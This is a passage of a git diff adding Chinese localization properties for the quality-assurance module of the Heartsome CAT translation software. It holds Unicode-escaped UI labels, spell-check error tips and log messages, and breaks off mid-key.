\u914d\u7f6e\u6587\u4ef6 \u201caspellConfigure.xml\u201d \u5931\u8d25\uff01 +qa.preference.SpellPage.LOG6 = [LOG] Aspell \u914d\u7f6e\u6587\u4ef6 \u201caspellConfigure.xml\u201d \u5220\u9664\u5185\u5bb9\u5931\u8d25\uff01 + +################################ 2013-02-2 robert \u6dfb\u52a0 qa.spell.Hunspell ################################ +qa.spell.hunspell.notFindHunpsellConfigTip= Cannot find the configuration file of the built-in spell checker, spell check can not be performed.Please re-install the software. +qa.spell.hunspell.hunspellConfigErrorTip= The configuration file of the Built-in spell checker is corrupted.Please re-install the software. +qa.spell.hunspell.notFindHunspellLibTip= Cannot find the runtime library file "{0}" of the built-in spell checker.Please try to re-launch the software, and if the problem persists, please reinstall the software. +qa.spell.hunspell.notFindDictionaryTip= Language "{0}" dictionary file does not exist.Please try to re-launch the software, and if the problem persists, please reinstall the software. +qa.spell.hunspell.dicReadErrorTip= Cannot read the dictionary file of the language "{0}".Please try to re-launch the software, and if the problem persists, please reinstall the software. + +qa.spell.hunspell.LOG.copyError= [LOG]\u590d\u5236\u8bed\u8a00\u6587\u4ef6\u81f3\u5de5\u4f5c\u7a7a\u95f4\u65f6\u51fa\u9519\u3002 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/resource/qa_zh.properties b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/resource/qa_zh.properties new file mode 100644 index 0000000..279b277 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/resource/qa_zh.properties @@ -0,0 +1,419 @@ +#\u9488\u5bf9\u6240\u6709\u54c1\u8d28\u68c0\u67e5\u7684\u672c\u5730\u5316 +qa.all.dialog.info = \u63d0\u793a +qa.all.dialog.warning = \u8b66\u544a +qa.all.dialog.error = \u9519\u8bef +qa.all.dialog.ok = \u786e\u5b9a +qa.all.dialog.cancel = \u53d6\u6d88 +qa.all.dialog.index = \u5e8f\u53f7 +qa.all.qaError = [LOG] \u54c1\u8d28\u68c0\u67e5\u5931\u8d25 +qa.all.qa = \u54c1\u8d28\u68c0\u67e5 +qa.all.tipLevel.error = \u9519\u8bef +qa.all.tipLevel.warning = \u8b66\u544a +qa.all.qa.batchQA = \u6267\u884c\u6307\u5b9a\u7684\u591a\u4e2a\u54c1\u8d28\u68c0\u67e5\u9879 +qa.all.qaItem.SpaceOfParaCheck = \u6bb5\u9996/\u6bb5\u672b\u7a7a\u683c +qa.all.qaItem.SpellQA = \u62fc\u5199\u68c0\u67e5 +qa.all.qaItem.TermConsistenceQA = \u672f\u8bed\u4e00\u81f4\u6027 +qa.all.qaItem.ParagraphConsistenceQA = \u6587\u672c\u6bb5\u4e00\u81f4\u6027 +qa.all.qaItem.NumberConsistenceQA = \u6570\u5b57\u4e00\u81f4\u6027 +qa.all.qaItem.TagConsistenceQA = \u6807\u8bb0\u4e00\u81f4\u6027 +qa.all.qaItem.NonTranslationQA = \u975e\u8bd1\u5143\u7d20 +qa.all.qaItem.ParaCompletenessQA = \u6587\u672c\u6bb5\u5b8c\u6574\u6027 +qa.all.qaItem.TgtTextLengthLimitQA = \u8bd1\u6587\u5b57\u6570\u9650\u5236 +qa.all.tip.notXliff = \u6240\u9009\u6587\u4ef6 {0} \u7684\u540e\u7f00\u540d\u4e0d\u662f .hsxliff\uff0c\u786e\u5b9a\u8981\u7ee7\u7eed\u5417\uff1f +qa.all.tip.openXliffError = \u65e0\u6cd5\u6b63\u786e\u8bfb\u53d6\u6587\u4ef6 {0}\u3002\u5c06\u5ffd\u7565\u8be5\u6587\u4ef6\uff0c\u786e\u5b9a\u8981\u7ee7\u7eed\u5417\uff1f +qa.all.log.openXmlError = \u65e0\u6cd5\u6b63\u786e\u8bfb\u53d6\u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\u3002 +qa.all.log.openThisXmlError = \u65e0\u6cd5\u6b63\u786e\u8bfb\u53d6\u6587\u4ef6 {0}\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\u3002 +# \u8fd9\u662f\u9488\u5bf9\u6587\u4ef6\u5206\u6790\u4e2d\u5168\u5c40\u53d8\u91cf +qa.all.fa.clickToShrink = \u6298\u53e0\u8be5\u6587\u4ef6\u5939 +qa.all.fa.fileLocation = \u6587\u4ef6\u8def\u5f84\uff1a +qa.all.fa.fileName = \u6587\u4ef6\u540d +qa.all.fa.WordsFA = \u5b57\u6570\u5206\u6790 +# net.heartsome.cat.ts.ui.qa\uff0c AutomaticQATrigger.java +qa.AutomaticQATrigger.name1 = \ +qa.AutomaticQATrigger.name2 = \ +qa.AutomaticQATrigger.name3 = \u9519\u8bef +qa.AutomaticQATrigger.tip1 = \u7b2c {0} \u884c\u6587\u672c\u6bb5\u672a\u80fd\u901a\u8fc7\u5982\u4e0b\u54c1\u8d28\u68c0\u67e5\uff1a\n +qa.AutomaticQATrigger.tip2 = {0} \u5931\u8d25 +qa.AutomaticQATrigger.tip3 = \ +qa.AutomaticQATrigger.tip4 = \u65e0\u6cd5\u6267\u884c\u54c1\u8d28\u68c0\u67e5\uff0c\u8bf7\u91cd\u8bd5\u3002 +qa.AutomaticQATrigger.tip5 = \n\u786e\u5b9a\u8981\u5ffd\u7565\u4e0a\u8ff0\u9519\u8bef\u5e76\u7ee7\u7eed\u64cd\u4f5c\u5417\uff1f +qa.AutomaticQATrigger.log1 = [LOG] \u65e0\u6cd5\u6253\u5f00\u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\uff0c\u8bf7\u91cd\u8bd5\u3002 +# net.heartsome.cat.ts.ui.qa\uff0c NonTranslationQA.java +qa.NonTranslationQA.tip1 = \u5728\u8bd1\u6587\u4e2d\u65e0\u6cd5\u627e\u5230\u7684\u975e\u8bd1\u5143\u7d20 {0} +qa.NonTranslationQA.tip2 = \u5728\u8bd1\u6587\u4e2d\u627e\u5230\u591a\u4f59\u7684\u975e\u8bd1\u5143\u7d20 {0} +# net.heartsome.cat.ts.ui.qa\uff0c NumberConsistenceQA.java +qa.NumberConsistenceQA.tip1 = \u5728\u8bd1\u6587\u4e2d\u65e0\u6cd5\u627e\u5230\u7684\u6570\u5b57 {0} +qa.NumberConsistenceQA.tip2 = \u5728\u8bd1\u6587\u4e2d\u627e\u5230\u591a\u4f59\u7684\u6570\u5b57 {0} +# net.heartsome.cat.ts.ui.qa\uff0c ParaCompletenessQA.java +qa.ParaCompletenessQA.tip1 = \u672a\u7ffb\u8bd1\uff1a\u6ca1\u6709\u8bd1\u6587 +qa.ParaCompletenessQA.tip2 = \u672a\u7ffb\u8bd1\uff1a\u8bd1\u6587\u4e3a\u7a7a\u683c +qa.ParaCompletenessQA.tip3 = \u672a\u7ffb\u8bd1\uff1a\u8bd1\u6587\u4e0e\u6e90\u6587\u5b8c\u5168\u4e00\u6837 +# net.heartsome.cat.ts.ui.qa\uff0c ParagraphConsistenceQA.java +qa.ParagraphConsistenceQA.name1 = \u6e90\u6587\u4e00\u81f4\u6027 +qa.ParagraphConsistenceQA.name2 = \u8bd1\u6587\u4e00\u81f4\u6027 +qa.ParagraphConsistenceQA.tip1 = \u7b2c {0} \u884c\uff0c +qa.ParagraphConsistenceQA.tip2 = \u5f53\u524d\u884c +qa.ParagraphConsistenceQA.tip3 = \u4e0e +qa.ParagraphConsistenceQA.tip4 = \u6e90\u6587\u76f8\u540c\u3001\u4f46\u8bd1\u6587\u4e0d\u540c +qa.ParagraphConsistenceQA.tip5 = \u8bd1\u6587\u76f8\u540c\u3001\u4f46\u6e90\u6587\u4e0d\u540c +# net.heartsome.cat.ts.ui.qa\uff0c QARealization.java +# net.heartsome.cat.ts.ui.qa\uff0c QualityAssurance.java +qa.QualityAssurance.tip1 = \u5f00\u59cb\u54c1\u8d28\u68c0\u67e5 +qa.QualityAssurance.tip2 = \u9009\u4e2d\u7684\u6587\u4ef6/\u6587\u4ef6\u5939\u4e2d\u6ca1\u6709 XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +qa.QualityAssurance.tip3 = {0}\uff1a\u6587\u4ef6 {1} ... +qa.QualityAssurance.tip4 = {0} \u5931\u8d25 +qa.QualityAssurance.tip5 = {0}\uff1a\u89e3\u6790\u6587\u4ef6 {1} ... +qa.QualityAssurance.tip6 = \u65e0\u6cd5\u6b63\u786e\u8bfb\u53d6\u6587\u4ef6 {0}\u3002\u5c06\u5ffd\u7565\u8be5\u6587\u4ef6\uff0c\u786e\u5b9a\u8981\u7ee7\u7eed\u5417\uff1f +qa.QualityAssurance.log1 = [LOG] \u54c1\u8d28\u68c0\u67e5\u9879 {0} \u5b9e\u4f8b\u521d\u59cb\u5316\u5931\u8d25\u3002 + +# net.heartsome.cat.ts.ui.qa\uff0c SpaceOfParaCheckQA.java +qa.SpaceOfParaCheckQA.tip1 = \u6bb5\u9996\u7a7a\u683c\uff1a\u6e90\u6587 {0} \u4e2a\u3001\u8bd1\u6587 {1} \u4e2a\uff0c\u8bd1\u6587\u4e22\u5931 {2} \u4e2a +qa.SpaceOfParaCheckQA.tip2 = \u6bb5\u9996\u7a7a\u683c\uff1a\u6e90\u6587 {0} \u4e2a\u3001\u8bd1\u6587 {1} \u4e2a\uff0c\u8bd1\u6587\u591a\u4f59 {2} \u4e2a +qa.SpaceOfParaCheckQA.tip3 = \u6bb5\u672b\u7a7a\u683c\uff1a\u6e90\u6587 {0} \u4e2a\u3001\u8bd1\u6587 {1} \u4e2a\uff0c\u8bd1\u6587\u4e22\u5931 {2} \u4e2a +qa.SpaceOfParaCheckQA.tip4 = \u6bb5\u672b\u7a7a\u683c\uff1a\u6e90\u6587 {0} \u4e2a\u3001\u8bd1\u6587 {1} \u4e2a\uff0c\u8bd1\u6587\u591a\u4f59 {2} \u4e2a +# net.heartsome.cat.ts.ui.qa\uff0c SpellQA.java +qa.SpellQA.tip1 = \u8bd1\u6587\u5355\u8bcd\uff1a +qa.SpellQA.tip2 = \u62fc\u5199\u9519\u8bef +qa.SpellQA.log1 = [LOG] \u5185\u7f6e\u8bcd\u5178\u521d\u59cb\u5316\u5931\u8d25 +qa.SpellQA.log2 = [LOG] \u5916\u7f6e\u8bcd\u5178 (Aspell) \u521d\u59cb\u5316\u5931\u8d25 +# net.heartsome.cat.ts.ui.qa\uff0c TagConsistenceQA.java +qa.TagConsistenceQA.name1 = \u6807\u8bb0\u4e22\u5931 +qa.TagConsistenceQA.name2 = \u6807\u8bb0\u4e0d\u4e00\u81f4 +qa.TagConsistenceQA.tip1 = \u8bd1\u6587\u4e2d\u4e22\u5931\u6807\u8bb0\uff1a{0} +qa.TagConsistenceQA.tip2 = \u8bd1\u6587\u4e2d\u7684\u6807\u8bb0 {0} \u4e0e\u6e90\u6587\u4e0d\u4e00\u81f4 +# net.heartsome.cat.ts.ui.qa\uff0c TermConsistenceQA.java +qa.TermConsistenceQA.tip1 = \u672f\u8bed {0} \u5e94\u7ffb\u8bd1\u4e3a {1} +# net.heartsome.cat.ts.ui.qa\uff0c TgtTextLengthLimitQA.java +qa.TgtTextLengthLimitQA.tip1 = \u8bd1\u6587\u5b57\u6570 {0} \u8d85\u51fa\u6700\u5927\u9650\u5236 {1} +qa.TgtTextLengthLimitQA.tip2 = \u8bd1\u6587\u5b57\u6570 {0} \u672a\u8fbe\u5230\u6700\u5c0f\u9650\u5236 {1} +# net.heartsome.cat.ts.ui.qa.dialogs\uff0c BatchQADialog.java +qa.dialogs.BatchQADialog.name1 = \u9009\u9879(&O)... +qa.dialogs.BatchQADialog.name2 = XLIFF \u6587\u4ef6 +qa.dialogs.BatchQADialog.tip1 = \u8be5\u7f16\u8f91\u5668\u7531\u4e0a\u8ff0 XLIFF \u6587\u4ef6\u5408\u5e76\u6253\u5f00\uff0c\u5c06\u5bf9\u4e0a\u8ff0\u6240\u6709\u6587\u4ef6\u8fdb\u884c\u54c1\u8d28\u68c0\u67e5\u3002 +# net.heartsome.cat.ts.ui.qa.dialogs\uff0c FileAnalysisDialog.java +qa.dialogs.FileAnalysisDialog.name1 = \u9009\u9879(&O)... +qa.dialogs.FileAnalysisDialog.xliffFile = XLIFF \u6587\u4ef6 +qa.dialogs.FileAnalysisDialog.lockExter101 = \u9501\u5b9a\u4e0a\u4e0b\u6587\u5339\u914d +qa.dialogs.FileAnalysisDialog.lockExter100 = \u9501\u5b9a\u5b8c\u5168\u5339\u914d +qa.dialogs.FileAnalysisDialog.lockInterRepeat = \u9501\u5b9a\u5185\u90e8\u91cd\u590d +# net.heartsome.cat.ts.ui.qa.dialogs\uff0c RegularInstalDialog.java +qa.dialogs.RegularInstalDialog.regular = \u6b63\u5219\u8868\u8fbe\u5f0f +qa.dialogs.RegularInstalDialog.content = \u975e\u8bd1\u5185\u5bb9\uff1a +qa.dialogs.RegularInstalDialog.position = \u4f4d\u7f6e +qa.dialogs.RegularInstalDialog.operate = \u64cd\u4f5c +qa.dialogs.RegularInstalDialog.value = \u503c +# net.heartsome.cat.ts.ui.qa.fileAnalysis\uff0c EditProgressFA.java \u5c06\u7f16\u8f91\u8fdb\u5ea6 \u6539\u6210\u4e86 \u6279\u51c6\u8fdb\u5ea6 +qa.fileAnalysis.EditProgressFA.name1 = \u6279\u51c6\u8fdb\u5ea6\u5206\u6790 +qa.fileAnalysis.EditProgressFA.words = \u5b57\u6570 +qa.fileAnalysis.EditProgressFA.nonApprove = \u672a\u7ffb\u8bd1/\u8349\u7a3f/\u5df2\u7ffb\u8bd1 +qa.fileAnalysis.EditProgressFA.approved = \u5df2\u6279\u51c6/\u5df2\u7b7e\u53d1 +qa.fileAnalysis.EditProgressFA.approveWords = \u5b57\u6570 +qa.fileAnalysis.EditProgressFA.approveProp = \u6bd4\u4f8b +qa.fileAnalysis.EditProgressFA.lockWordsNum = \u5df2\u9501\u5b9a\u5b57\u6570 +qa.fileAnalysis.EditProgressFA.wordsSum = \u603b\u5b57\u6570 +qa.fileAnalysis.EditProgressFA.approveParaNum = \u6587\u672c\u6bb5\u6570 +qa.fileAnalysis.EditProgressFA.lockParasNum = \u5df2\u9501\u5b9a\u6587\u672c\u6bb5\u6570 +qa.fileAnalysis.EditProgressFA.paraSum = \u6587\u672c\u6bb5\u603b\u6570 +qa.fileAnalysis.EditProgressFA.tip1 = \u5206\u6790\u6587\u4ef6 {0} \u7684\u6279\u51c6\u8fdb\u5ea6... +qa.fileAnalysis.EditProgressFA.tip2 = \u6279\u51c6\u8fdb\u5ea6\u5206\u6790\u7ed3\u679c +qa.fileAnalysis.EditProgressFA.log1 = [LOG] \u6279\u51c6\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u5237\u65b0\u5f02\u5e38 +qa.fileAnalysis.EditProgressFA.log2 = [LOG] \u6279\u51c6\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6253\u5f00\u5931\u8d25 +qa.fileAnalysis.EditProgressFA.log3 = [LOG] \u672a\u627e\u5230\u6279\u51c6\u8fdb\u5ea6\u5206\u6790\u62a5\u8868 +qa.fileAnalysis.EditProgressFA.log4 = [LOG] \u6279\u51c6\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u5b57\u7b26\u7f16\u8f91\u8f6c\u6362\u5f02\u5e38 +qa.fileAnalysis.EditProgressFA.log5 = [LOG] \u6279\u51c6\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6570\u636e\u8bfb\u5199\u5931\u8d25! +# net.heartsome.cat.ts.ui.qa.fileAnalysis\uff0c TranslationProgressFA.java +qa.fileAnalysis.TranslationProgressFA.name1 = \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u7ed3\u679c +qa.fileAnalysis.TranslationProgressFA.TransProgresFA = \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790 +qa.fileAnalysis.TranslationProgressFA.words = \u5b57\u6570 +qa.fileAnalysis.TranslationProgressFA.nonTrans = \u672a\u7ffb\u8bd1/\u8349\u7a3f +qa.fileAnalysis.TranslationProgressFA.translated = \u5df2\u7ffb\u8bd1/\u5df2\u6279\u51c6/\u5df2\u7b7e\u53d1 +qa.fileAnalysis.TranslationProgressFA.transWords = \u5b57\u6570 +qa.fileAnalysis.TranslationProgressFA.transWordsProp = \u6bd4\u4f8b +qa.fileAnalysis.TranslationProgressFA.lockedWords = \u5df2\u9501\u5b9a\u5b57\u6570 +qa.fileAnalysis.TranslationProgressFA.wordsSum = \u603b\u5b57\u6570 +qa.fileAnalysis.TranslationProgressFA.paragraph = \u6587\u672c\u6bb5 +qa.fileAnalysis.TranslationProgressFA.transParasNum = \u6587\u672c\u6bb5\u6570 +qa.fileAnalysis.TranslationProgressFA.lockedParasNum = \u5df2\u9501\u5b9a\u6587\u672c\u6bb5\u6570 +qa.fileAnalysis.TranslationProgressFA.parasSum = \u603b\u6587\u672c\u6bb5 +qa.fileAnalysis.TranslationProgressFA.tip1 = \u5206\u6790\u6587\u4ef6 {0} \u7684\u7ffb\u8bd1\u8fdb\u5ea6... +qa.fileAnalysis.TranslationProgressFA.log1 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u5237\u65b0\u5f02\u5e38 +qa.fileAnalysis.TranslationProgressFA.log2 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6253\u5f00\u5931\u8d25 +qa.fileAnalysis.TranslationProgressFA.log3 = [LOG] \u672a\u627e\u5230\u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868 +qa.fileAnalysis.TranslationProgressFA.log4 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u5b57\u7b26\u7f16\u8f91\u8f6c\u6362\u5f02\u5e38 +qa.fileAnalysis.TranslationProgressFA.log5 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6570\u636e\u8bfb\u5199\u5931\u8d25! +# net.heartsome.cat.ts.ui.qa.fileAnalysis\uff0c WordsFA.java +qa.fileAnalysis.WordsFA.name1 = \u5b57\u6570\u5206\u6790\u7ed3\u679c +qa.fileAnalysis.WordsFA.DBMatch = \u6570\u636e\u5e93\u5339\u914d +qa.fileAnalysis.WordsFA.wordsFA = \u5b57\u6570 +qa.fileAnalysis.WordsFA.exterMatch = \u5916\u90e8\u5339\u914d +qa.fileAnalysis.WordsFA.interMatch = \u5185\u90e8\u5339\u914d +qa.fileAnalysis.WordsFA.newWordsNum = \u65b0\u5b57\u6570 +qa.fileAnalysis.WordsFA.equivWordsNum = \u52a0\u6743\u5b57\u6570 +qa.fileAnalysis.WordsFA.lockWordsNum = \u5df2\u9501\u5b9a\u5b57\u6570 +qa.fileAnalysis.WordsFA.wordsSum = \u603b\u5b57\u6570 +qa.fileAnalysis.WordsFA.contentMath = \u4e0a\u4e0b\u6587\u5339\u914d +qa.fileAnalysis.WordsFA.contentRepeat = \u5185\u90e8\u91cd\u590d +qa.fileAnalysis.WordsFA.paragraph = \u6587\u672c\u6bb5 +qa.fileAnalysis.WordsFA.newPara = \u65b0\u6587\u672c\u6bb5 +qa.fileAnalysis.WordsFA.interMatchPara = \u5185\u90e8\u5339\u914d\u6587\u672c\u6bb5 +qa.fileAnalysis.WordsFA.exterMatchPara = \u5916\u90e8\u5339\u914d\u6587\u672c\u6bb5 +qa.fileAnalysis.WordsFA.interRepeatPara = \u5185\u90e8\u91cd\u590d\u6587\u672c\u6bb5 +qa.fileAnalysis.WordsFA.exterRepeatPara = \u5916\u90e8\u91cd\u590d\u6587\u672c\u6bb5 +qa.fileAnalysis.WordsFA.lockedPara = \u9501\u5b9a\u6587\u672c\u6bb5 +qa.fileAnalysis.WordsFA.paraSum = \u6587\u672c\u6bb5\u603b\u6570 +qa.fileAnalysis.WordsFA.tip1 = \u5b57\u6570\u5206\u6790: \u6587\u4ef6 {0} \u5185\u90e8\u548c\u5916\u90e8\u5339\u914d ... ... +qa.fileAnalysis.WordsFA.log1 = [LOG] \u6570\u636e\u5e93\u5339\u914d\u5931\u8d25\uff01 +qa.fileAnalysis.WordsFA.log2 = [LOG] \u6570\u636e\u5e93\u521d\u59cb\u5316\u5931\u8d25\uff01 +qa.fileAnalysis.WordsFA.log3 = [LOG] \u672a\u627e\u5230\u5f53\u524d\u6570\u636e\u5e93\u7684\u5b9e\u73b0\u7c7b\uff01 +qa.fileAnalysis.WordsFA.log4 = [LOG] \u6570\u636e\u5e93\u5173\u95ed\u5f02\u5e38\uff01 +qa.fileAnalysis.WordsFA.log5 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6253\u5f00\u5931\u8d25 +qa.fileAnalysis.WordsFA.log6 = [LOG] \u672a\u627e\u5230\u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868 +qa.fileAnalysis.WordsFA.log7 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u5b57\u7b26\u7f16\u8f91\u8f6c\u6362\u5f02\u5e38 +qa.fileAnalysis.WordsFA.log8 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6570\u636e\u8bfb\u5199\u5931\u8d25\uff01 +# net.heartsome.cat.ts.ui.qa.handlers\uff0c BatchQAHandler.java +qa.handlers.BatchQAHandler.tip1 = \u9009\u4e2d\u7684\u6587\u4ef6/\u6587\u4ef6\u5939\u4e2d\u6ca1\u6709 XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +qa.handlers.BatchQAHandler.tip2 = \u8bf7\u9009\u62e9\u8981\u8fdb\u884c\u54c1\u8d28\u68c0\u67e5\u7684 XLIFF \u6587\u4ef6\u3002 +qa.handlers.BatchQAHandler.log1 = [LOG] \u9879\u76ee XLIFF \u6587\u4ef6\u83b7\u53d6\u5931\u8d25\uff01 +qa.handlers.BatchQAHandler.log2 = [LOG] \u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\u6253\u5f00\u5931\u8d25\uff01 +# net.heartsome.cat.ts.ui.qa.handlers\uff0c FileAnalysisHandler.java +qa.handlers.FileAnalysisHandler.tip1 = \u8bf7\u9009\u62e9\u8981\u5206\u6790\u7684 XLIFF \u6587\u4ef6\u3002 +qa.handlers.FileAnalysisHandler.tip2 = \u8bf7\u9009\u62e9\u540c\u4e00\u4e2a\u9879\u76ee\u4e2d\u7684 XLIFF \u6587\u4ef6\u8fdb\u884c\u5206\u6790\u3002 +qa.handlers.FileAnalysisHandler.tip3 = \u8bf7\u9009\u62e9\u8981\u5206\u6790\u7684 XLIFF \u6587\u4ef6\u3002 +qa.handlers.FileAnalysisHandler.tip4 = \u9009\u4e2d\u7684\u6587\u4ef6/\u6587\u4ef6\u5939\u4e2d\u6ca1\u6709 XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +qa.handlers.FileAnalysisHandler.tip5 = {0}: \u89e3\u6790\u6587\u4ef6 {1}... +qa.handlers.FileAnalysisHandler.tip6 = \u65e0\u6cd5\u8fdb\u884c\u6587\u4ef6\u5206\u6790\uff0c\u8bf7\u91cd\u8bd5\u3002 +qa.handlers.FileAnalysisHandler.log1 = [LOG] \u9879\u76ee XLIFF \u6587\u4ef6\u83b7\u53d6\u5931\u8d25\uff01 +qa.handlers.FileAnalysisHandler.log2 = [LOG] \u6587\u4ef6\u5206\u6790\u5931\u8d25\uff0c\u5b9e\u73b0\u7c7b\u521d\u59cb\u5316\u5931\u8d25\uff01 +# net.heartsome.cat.ts.ui.qa.model QAModel.java +qa.model.QAModel.ipAdd = IP +qa.model.QAModel.webAdd = URL +qa.model.QAModel.mailAdd = E-mail +# net.heartsome.cat.ts.ui.qa.preference, NonTranslationQAPage.java +qa.preference.NonTranslationQAPage.nonTransElement = \u975e\u8bd1\u5143\u7d20 +qa.preference.NonTranslationQAPage.nonTransElementInstal = \u975e\u8bd1\u5143\u7d20 +qa.preference.NonTranslationQAPage.tip = \u540d\u79f0\uff1a +qa.preference.NonTranslationQAPage.content = \u975e\u8bd1\u5185\u5bb9\uff1a +qa.preference.NonTranslationQAPage.regular = \u6b63\u5219\u8868\u8fbe\u5f0f\uff1a +qa.preference.NonTranslationQAPage.add = \u6dfb\u52a0(&N) +qa.preference.NonTranslationQAPage.delete = \u5220\u9664(&E) +qa.preference.NonTranslationQAPage.addInterElement = \u6dfb\u52a0\u5185\u7f6e\u975e\u8bd1\u5143\u7d20 +qa.preference.NonTranslationQAPage.tip1 = \u8bf7\u8f93\u5165\u975e\u8bd1\u5185\u5bb9\u3002 +qa.preference.NonTranslationQAPage.tip2 = \u8bf7\u8f93\u5165\u540d\u79f0\u3002 +qa.preference.NonTranslationQAPage.tip3 = \u8bf7\u8f93\u5165\u975e\u8bd1\u5185\u5bb9\u3002 +qa.preference.NonTranslationQAPage.tip4 = \u8be5\u975e\u8bd1\u5143\u7d20\u540d\u79f0\u5df2\u88ab\u4f7f\u7528\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +qa.preference.NonTranslationQAPage.tip5 = \u5185\u7f6e\u975e\u8bd1\u5143\u7d20 {0} \u5df2\u7ecf\u6dfb\u52a0\uff0c\u65e0\u9700\u91cd\u590d\u6dfb\u52a0\u3002 +qa.preference.NonTranslationQAPage.tip6 = \u65e0\u6cd5\u4fee\u6539\u5185\u7f6e\u975e\u8bd1\u5143\u7d20\u3002 +qa.preference.NonTranslationQAPage.log1 = [LOG] \u65e0\u6cd5\u627e\u5230\u975e\u8bd1\u5143\u7d20\u5b58\u50a8\u6587\u4ef6\uff1a".nonTransElement"\uff01 +qa.preference.NonTranslationQAPage.log2 = [LOG] \u975e\u8bd1\u5143\u7d20\u6587\u4ef6\u8bfb\u5199\u7f16\u7801\u9519\u8bef\uff01 +qa.preference.NonTranslationQAPage.log3 = [LOG] \u975e\u8bd1\u5143\u7d20\u6587\u4ef6\u8bfb\u5199\u9519\u8bef\uff01 +qa.preference.NonTranslationQAPage.tipColumn = \u540d\u79f0 +qa.preference.NonTranslationQAPage.contentColumn = \u975e\u8bd1\u5185\u5bb9 +qa.preference.NonTranslationQAPage.regularColumn = \u6b63\u5219\u8868\u8fbe\u5f0f + +qa.preference.NonTranslationQAPage.addTip1 = \u6574\u8bcd\u5339\u914d +qa.preference.NonTranslationQAPage.addTip2 = \u5ffd\u7565\u5927\u5c0f\u5199 +qa.preference.NonTranslationQAPage.addTip3 = \u8bf7\u586b\u5199\u975e\u8bd1\u5143\u7d20\u540d\u79f0\u3002 +qa.preference.NonTranslationQAPage.addTip4 = \u8bf7\u586b\u5199\u975e\u8bd1\u5143\u7d20\u5185\u5bb9\u3002 +qa.preference.NonTranslationQAPage.addTip5 = \u8bf7\u586b\u5199\u975e\u8bd1\u5143\u7d20\u6b63\u5219\u8868\u8fbe\u5f0f\u3002 +qa.preference.NonTranslationQAPage.addTip6 = \u8be5\u975e\u8bd1\u5143\u7d20\u5df2\u7ecf\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +qa.preference.NonTranslationQAPage.editBtn = \u7f16\u8f91 +qa.preference.NonTranslationQAPage.enter = \u786e\u8ba4 +qa.preference.NonTranslationQAPage.enterDelete = \u786e\u5b9a\u5220\u9664\u6240\u9009\u975e\u8bd1\u5143\u7d20\uff1f +qa.preference.NonTranslationQAPage.addModle = \u6dfb\u52a0\u975e\u8bd1\u5143\u7d20 +qa.preference.NonTranslationQAPage.editModle = \u7f16\u8f91\u975e\u8bd1\u5143\u7d20 +qa.preference.NonTranslationQAPage.enterBtn = \u786e\u5b9a +qa.preference.NonTranslationQAPage.cancelBtn = \u53d6\u6d88 + +# net.heartsome.cat.ts.ui.qa.preference, QAInstalPage.java +qa.preference.QAInstalPage.batchQA = \u5168\u5c40 +qa.preference.QAInstalPage.autoQA = \u81ea\u52a8 +qa.preference.QAInstalPage.tipLevel = \u7ea7\u522b +qa.preference.QAInstalPage.qaInstal = \u54c1\u8d28\u68c0\u67e5 +qa.preference.QAInstalPage.autoQaInstal = \u5f53\u6267\u884c\u5982\u4e0b\u64cd\u4f5c\u65f6\uff0c\u81ea\u52a8\u6267\u884c\u9009\u4e2d\u7684\u201c\u81ea\u52a8\u201d\u68c0\u67e5\u9879 +qa.preference.QAInstalPage.autoQaWhenApproval = \u6279\u51c6\u6587\u672c\u6bb5\u65f6 +qa.preference.QAInstalPage.autoQaWhenAddToDb = \u5b8c\u6210\u7ffb\u8bd1\u65f6 +qa.preference.QAInstalPage.log1 = [LOG] \u54c1\u8d28\u68c0\u67e5\u8bbe\u7f6e\u754c\u9762\u56fe\u7247\u52a0\u8f7d\u5931\u8d25\uff01 +# net.heartsome.cat.ts.ui.qa.preference, QAPage.java +qa.preference.QAPage.notInclude = \u6392\u9664 +qa.preference.QAPage.content = \u4e0a\u4e0b\u6587\u5339\u914d +qa.preference.QAPage.fullMatch = \u5b8c\u5168\u5339\u914d +qa.preference.QAPage.locked = \u5df2\u9501\u5b9a +qa.preference.QAPage.paraConsistence = \u6587\u672c\u6bb5\u4e00\u81f4\u6027 +qa.preference.QAPage.sameSource = \u76f8\u540c\u6e90\u6587\u3001\u4e0d\u540c\u8bd1\u6587 +qa.preference.QAPage.sameTarget = \u76f8\u540c\u8bd1\u6587\u3001\u4e0d\u540c\u6e90\u6587 +qa.preference.QAPage.ignoreCase = \u5ffd\u7565\u5927\u5c0f\u5199 +qa.preference.QAPage.ignoreTag = \u5ffd\u7565\u6807\u8bb0 +qa.preference.QAPage.srcEqulTar 